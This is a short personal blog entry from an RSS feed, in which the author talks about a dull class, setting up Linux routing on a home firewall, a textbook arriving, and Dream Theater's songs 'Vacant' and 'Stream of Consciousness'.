Last few days have been pretty quiet. Class still uninteresting, 555 is still a disappointment, did pick up one useful thing though, did some reading after one class and figured out how to use the Linux route command. managed to set up my firewall to route local traffic locally, rather than just shoving everything down the modem link. It worked until the modem re-dialled, and I haven&#8217;t been able to get it to work since, haven&#8217;t tried much&nbsp;though.</p>
<p>
The text book for operating systems arrived (surprisingly), so I can now make a start on&nbsp;that.</p>
<p>
Working back through Dream Theatres albums, I found a very nice piece in Train of Thoughts called Vacant. It starts with a familiar piece of music, which I haven&#8217;t yet been able to identify. I think John Williams may have played it somewhere, or it could be a classical piece from somewhere else. I don&#8217;t know my composers well enough to narrow it down any. Vacant introduces a well worked vocal melody over the original piece. The 2:57 piece is followed by the instrumental Stream of Consciousness (11:16) which presents variations on the original melody, I&#8217;ve been playing the two most of the day on repeat, and starting to work out some of the pieces on&nbsp;piano/flute.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.peacocktech.com/2005/08/09/22/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
